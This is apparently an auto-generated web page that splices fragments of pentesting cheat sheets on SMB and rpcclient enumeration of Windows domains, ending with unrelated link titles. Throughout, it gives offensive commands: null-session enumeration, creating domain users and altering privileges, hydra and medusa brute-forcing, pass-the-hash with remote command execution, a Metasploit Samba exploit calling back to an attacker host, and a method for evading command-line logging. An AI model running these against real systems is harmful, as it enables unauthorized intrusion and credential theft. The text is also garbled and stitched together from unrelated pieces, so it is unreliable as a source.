S-1-5-21-1835020781-2383529660-3657267081-1002 LEWISFAMILY\daemon (1) This command is made from LSA Query Security Object. -I, --dest-ip=IP Specify destination IP address, Help options | smb-enum-shares: rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1001 is SMB over Ip. lsaremoveacctrights Remove rights from an account netshareenum Enumerate shares In the previous demonstration, the attacker was able to provide and remove privileges to a group. 139/tcp open netbios-ssn os version : 4.9 Using rpcclient it is possible to create a group. Red Team Infrastructure. . remark: IPC Service (Mac OS X) SegFault:~ cg$rpcclient -U "" 192.168.182.36 Sharename Type Comment rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1005 rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-500 rpcclient is a part of the Samba suite on Linux distributions. rpcclient - Help - Penetration Test Resource Page Allow listing available shares in the current share? RID is a suffix of the long SID in a hexadecimal format. SHUTDOWN ADMIN$ NO ACCESS ADMIN$ Disk Remote Admin rpcclient enumeration - HackTricks Manh-Dung Nguyen - OSCP Enumeration - GitHub Pages | State: VULNERABLE In the demonstration, it can be observed that a query was generated for LSA which returned with information such as Domain Name and SID. It is possible to target the group using the RID that was extracted while running the enumdomgroup. result was NT_STATUS_NONE_MAPPED | Disclosure date: 2017-03-14 Assumes valid machine account to this domain controller. After the user details and the group details, another information that can help an attacker that has retained the initial foothold on the domain is the Privileges. rpcclient (if 111 is also open) NSE scripts. Start by typing "enum" at the prompt and hitting <tab><tab>: rpcclient $> enum enumalsgroups enumdomains enumdrivers enumkey enumprivs enumdata enumdomgroups enumforms enumports enumtrust enumdataex enumdomusers enumjobs enumprinter. To demonstrate this, the attacker first used the lsaaddpriv command to add the SeCreateTokenPrivielge to the SID and then used the lsadelpriv command to remove that privilege from that group as well. (MS)RPC - OSCP Playbook Copyright 2017 pentest.tonyng.net. NETLOGON NO ACCESS We can also check if the user we created has been assigned a SID or not using the lookupnames command on the rpcclient. If you want to enumerate all the shares then use netshareenumall. Hence, they usually set up a Network Share. It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Chapter 2 - Recon & Enumeration - oscp Nmap scan report for [ip] for all files), recurse: toggles recursion on (default: off), prompt: toggles prompting for filenames off (default: on), mget: copies all files matching the mask from host to client machine, Specially interesting from shares are the files called, by all authenticated users in the domain. |_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ When using querygroupmem, it will reveal information about that group member specific to that particular RID. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. After establishing the connection, to get the grasp of various commands that can be used you can run the help. You signed in with another tab or window. shutdown Remote Shutdown Enumerating Windows Domains with rpcclient through SocksProxy == Bypassing Command Line Logging This lab shows how it is possible to bypass commandline argument logging when enumerating Windows environments, using Cobalt Strike and its socks proxy (or any other post exploitation tool that supports socks proxying). The following lists commands that you can issue to SAMR, LSARPC, and LSARPC-DS interfaces upon, # You can also use samrdump.py for this purpose, Enumerate trusted domains within an AD forest. 135, 593 - Pentesting MSRPC - HackTricks OSCP/oscp-cheatsheet.md at master tagnullde/OSCP GitHub OSCP Guide | Rikunj Sindhwad - Xmind From the enumdomusers command, it was possible to obtain the users of the domain as well as the RID. In this communication, the child process can make requests from a parent process. if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi, if [ ! While having some privileges it is also possible to create a user within the domain using the rpcclient. The name is derived from the enumeration of domain groups. Replication READ ONLY can be cracked with, For passwordless login, add id_rsa.pub to target's authorized_keys, Add the extracted domain to /etc/hosts and dig again, rpcclient --user="" --command=enumprivs -N 10.10.10.10, rpcdump.py 10.11.1.121 -p 135 | grep ncacn_np // get pipe names, smbclient -L //10.10.10.10 -N // No password (SMB Null session), crackmapexec smb 10.10.10.10 -u '' -p '' --shares, crackmapexec smb 10.10.10.10 -u 'sa' -p '' --shares, crackmapexec smb 10.10.10.10 -u 'sa' -p 'sa' --shares, crackmapexec smb 10.10.10.10 -u '' -p '' --share share_name, crackmapexec smb 192.168.0.115 -u '' -p '' --shares --pass-pol, ncrack -u username -P rockyou.txt -T 5 10.10.10.10 -p smb -v, mount -t cifs "//10.1.1.1/share/" /mnt/wins, mount -t cifs "//10.1.1.1/share/" /mnt/wins -o vers=1.0,user=root,uid=0,gid=0. Password attack (Brute-force) Brute-force service password. setprintername Set printername This problem is solved using lookupnames whereupon providing username the SID of that particular user can be extracted with ease. [+] User SMB session establishd on [ip] The tool is written in Perl and is basically . --------------- ---------------------- deleteform Delete form The alias is an alternate name that can be used to reference an object or element. -V, --version Print version, Connection options: The polices that are applied on a Domain are also dictated by the various group that exists. lsaaddacctrights Add rights to an account result was NT_STATUS_NONE_MAPPED dfsgetinfo Query DFS share info Example output is long, but some highlights to look for: ngrep is a neat tool to grep on network data. rffpcnex Rffpcnex test root S-1-5-21-1835020781-2383529660-3657267081-1000 (User: 1) rpcclient $> netshareenum oncybersec/oscp-enumeration-cheat-sheet - Github rpcclient $> help 631 - Internet Printing Protocol (IPP) 873 - Pentesting Rsync. With some input from the NetSecFocus group, Im building out an SMB enumeration check list here. . help Get help on commands .. D 0 Thu Sep 27 16:26:00 2018 netname: PSC 2170 Series SRVSVC Let's see how this works by firstly updating the proxychains config file: {% code-tabs %} great when smbclient doesnt work After that command was run, rpcclient will give you the most excellent "rpcclient> " prompt. The next command to observe is the lsaquerysecobj command. The below shows traffic captures that illustrate that the box 10.0.0.2 enumerates 10.0.0.7 using SMB traffic only: Below further proves that the box 10.0.0.2 (WS01 which acted as proxy) did not generate any sysmon logs and the target box 10.0.0.7 (WS02) logged a couple of events, that most likely would not attract much attention from the blue teams: Note how only the SMB traffic between the compromised system and the DC is generated, but no new processes are spawned by the infected. With the free software project, , there is also a solution that enables the use of. querygroup Query group info queryuseraliases Query user aliases A collection of commands and tools used for conducting enumeration during my OSCP journey. Author: Pavandeep Singhis a Technical Writer, Researcher, and Penetration Tester. | Anonymous access: great when smbclient doesnt work, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -x whoami # no work, smbmap -R $sharename -H $ip -A $fileyouwanttodownload -q, # Requires root or enough permissions to use tcpdump, # Will listen for the first 7 packets of a null login, # Will sometimes not capture or will print multiple. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1004 REG OSCP-Cheatsheets/enumerating-windows-domains-using-rpcclient - Github echodata Echo data Beyond the enumeration I show here, it will also help enumerate shares that are readable, and can ever execute commands on writable shares. -c, --command=COMMANDS Execute semicolon separated cmds The manipulation of the groups is not limited to the creation of a group. lewis S-1-5-21-1835020781-2383529660-3657267081-2002 (User: 1) Checklist - Local Windows Privilege Escalation, Pentesting JDWP - Java Debug Wire Protocol, 161,162,10161,10162/udp - Pentesting SNMP, 515 - Pentesting Line Printer Daemon (LPD), 548 - Pentesting Apple Filing Protocol (AFP), 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP, 1433 - Pentesting MSSQL - Microsoft SQL Server, 1521,1522-1529 - Pentesting Oracle TNS Listener, 2301,2381 - Pentesting Compaq/HP Insight Manager, 3690 - Pentesting Subversion (svn server), 4369 - Pentesting Erlang Port Mapper Daemon (epmd), 8009 - Pentesting Apache JServ Protocol (AJP), 8333,18333,38333,18444 - Pentesting Bitcoin, 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream), 10000 - Pentesting Network Data Management Protocol (ndmp), 24007,24008,24009,49152 - Pentesting GlusterFS, 50030,50060,50070,50075,50090 - Pentesting Hadoop, Reflecting Techniques - PoCs and Polygloths CheatSheet, Dangling Markup - HTML scriptless injection, HTTP Request Smuggling / HTTP Desync Attack, Regular expression Denial of Service - ReDoS, Server Side Inclusion/Edge Side Inclusion Injection, XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations), Pentesting CI/CD (Github, Jenkins, Terraform), Windows Exploiting (Basic Guide - OSCP lvl), INE Courses and eLearnSecurity Certifications Reviews, Stealing Sensitive Information Disclosure from a Web, (represented in hexadecimal format) utilized by Windows to. It can be done with the help of the createdomuser command with the username that you want to create as a parameter. This information can be elaborated on using the querydispinfo. SAMR Host is up (0.037s latency). [+] IP: [ip]:445 Name: [ip] You can indicate which option you prefer to use with the parameter, # Using --exec-method {mmcexec,smbexec,atexec,wmiexec}, via SMB) in the victim machine and use it to, it is located on /usr/share/doc/python3-impacket/examples/, #If no password is provided, it will be prompted, Stealthily execute a command shell without touching the disk or running a new service using DCOM via, #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted, Execute commands via the Task Scheduler (using, https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/, #Get usernames bruteforcing that rids and then try to bruteforce each user name, This attack uses the Responder toolkit to. | smb-vuln-ms17-010: Enumerate Domain Users. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2003 | The name is derived from the enumeration of domain users. *[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &, echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null, # smbenum 0.2 - This script will enumerate SMB using every tool in the arsenal, echo -e "\n########## Getting Netbios name ##########", echo -e "\n########## Checking for NULL sessions ##########", output=`bash -c "echo 'srvinfo' | rpcclient $IP -U%"`, echo -e "\n########## Enumerating domains ##########", bash -c "echo 'enumdomains' | rpcclient $IP -U%", echo -e "\n########## Enumerating password and lockout policies ##########", echo -e "\n########## Enumerating users ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-users $IP, bash -c "echo 'enumdomusers' | rpcclient $IP -U%", bash -c "echo 'enumdomusers' | rpcclient $IP -U%" | cut -d[ -f2 | cut -d] -f1 > /tmp/$IP-users.txt, echo -e "\n########## Enumerating Administrators ##########", net rpc group members "Administrators" -I $IP -U%, echo -e "\n########## Enumerating Domain Admins ##########", net rpc group members "Domain Admins" -I $IP -U%, echo -e "\n########## Enumerating groups ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-groups $IP, echo -e "\n########## Enumerating shares ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-shares $IP, echo -e "\n########## Bruteforcing all users with 'password', blank and username as password", hydra -e ns -L /tmp/$IP-users.txt -p password $IP smb -t 1, medusa -h $ip -u userhere -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -M smbnt, nmap -p445 --script smb-brute --script-args userdb=userfilehere,passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt $ip -vvvv, msfconsole; use auxiliary/scanner/smb/smb_version; set RHOSTS $ip; run, msfconsole; use exploit/multi/samba/usermap_script; set lhost 10.10.14.x; set rhost $ip; run, Windows 7, 8, 8.1 and Windows Server 2003/2008/2012(R2)/2016, nmap -p 445 $ip --script=smb-vuln-ms17-010, hydra -l administrator -P /usr/share/wordlists/rockyou.txt -t 1 $ip smb, smbclient \\\\192.168.1.105\\ipc$ -U john. I create my own checklist for the first but very important step: Enumeration. First one - two Cobalt Strike sessions: PID 260 - beacon injected into dllhost process. Depending on the user privilege it is possible to change the password using the chgpasswd command. rpcclient -U '%' -N <IP> Web-Enum . Disk Permissions Can try without a password (or sending a blank password) and still potentially connect. Since we already performed the enumeration of such data before in the article, we will enumerate using enumdomgroup and enumdomusers and the query-oriented commands in this demonstration. Read previous sections to learn how to connect with credentials/Pass-the-Hash. If you're having trouble getting the version from the usual methods, you might have to use wireshark or tcpdump to inspect the packets. {% endcode-tabs %}. search type:exploit platform:windows target:2008 smb, domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash, #You can use querydispinfo and enumdomusers to query user information, /usr/share/doc/python3-impacket/examples/samrdump.py, /usr/share/doc/python3-impacket/examples/rpcdump.py, # This info should already being gathered from enum4linux and enum4linux-ng, In file browser window (nautilus, thunar, etc), It is always recommended to look if you can access to anything, if you don't have credentials try using, #If you omit the pwd, it will be prompted. Heres an example Unix Samba 2.2.3a: Windows SMB is more complex than just a version, but looking in wireshark will give a bunch of information about the connection. Enum4linux is a Linux alternative to enum.exe and is used to enumerate data from Windows and Samba hosts. | RRAS Memory Corruption vulnerability (MS06-025) rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-502 enumdata Enumerate printer data dfsadd Add a DFS share OSCP notes: ACTIVE INFORMATION GATHERING Flashcards | Quizlet querydominfo Query domain info An attacker can create an account object based on the SID of that user. This is an enumeration cheat sheet that I created while pursuing the OSCP. result was NT_STATUS_NONE_MAPPED S-1-5-21-1835020781-2383529660-3657267081-1009 LEWISFAMILY\tty (2) -P, --machine-pass Use stored machine account password Custom wordlist. 445/tcp open microsoft-ds lsalookupprivvalue Get a privilege value given its name Connect to wwwroot share (try blank password), Nmap scans for SMB vulnerabilities (NB: can cause DoS), Enumerate SNMP device (places info in readable format), Enumerate file privileges (see here for discussion of file_priv), Check if current user superuser (on = yes, off = no), Check users privileges over table (pg_shadow). For instance, on Windows, SMB can run directly over TCP/IP without the need for NetBIOS over TCP/IP. Enumerating Windows Domains with rpcclient through SocksProxy == Bypassing Command Line Logging This lab shows how it is possible to bypass commandline argument logging when enumerating Windows environments, using Cobalt Strike and its socks proxy (or any other post exploitation tool that supports socks proxying). smbmap -H [ip/hostname] will show what you can do with given credentials (or null session if no credentials). Enumerating User Accounts on Linux and Os X With Rpcclient In this lab, it is assumed that the attacker/operator has gained: code execution on a target system and the beacon is calling back to the team server, to be interrogated by 10.0.0.5 via 10.0.0.2. In the scenarios where there is a possibility of multiple domains in the network, there the attacker can use enumdomains to enumerate all the domains that might be deployed in that network. -z $2 ]; then rport=$2; else rport=139; fi, tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' See the below example gif. [Update 2018-12-02] I just learned about smbmap, which is just great. |_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug) [DATA] attacking service smb on port 139 Beyond the enumeration I show here, it will also help enumerate shares that are readable, and can ever execute commands on writable shares. | References: setprinter Set printer comment SaPrintOp 0:65283 (0x0:0xff03). This tool is part of the samba(7) suite. This will use, as you point out, port 445. -U, --user=USERNAME Set the network username The command to be used to delete a group using deletedomgroup. --------------- ---------------------- SMB2 Windows Vista SP1 and Windows 2008, nmap -n -v -Pn -p139,445 -sV 192.168.0.101, smbclient -L \\$ip --option='client min protocol=NT1', # if getting error "protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED", # Will list all shares with available permissions, smbmap -u jsmith -p password1 -d workgroup -H 192.168.0.1, nmap --script smb-enum-shares -p 139,445 $ip, smbclient \\\\192.168.1.101\\C$ --option='client min protocol=NT1', smbclient \\\\192.168.1.101\\admin$ -U t-skid, # Connect with valid username and password, smbmap -R $sharename -H $ip -A $fileyouwanttodownload -q, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -s wwwroot -R -A '. IPC$ NO ACCESS path: C:\tmp There was a Forced Logging off on the Server and other important information. Using rpcclient we can enumerate usernames on those OSs just like a windows OS. These may indicate whether the share exists and you do not have access to it or the share does not exist at all.
Can You Walk Away From A Civil Enforcement Officer,
Tao, Akumal Condos For Rent,
How Much Is Uber From Atlanta Airport To Alpharetta,
Condos For Sale Hardin Valley Tn,
As America Entered The War, Who Else Dropped Out?,
Articles R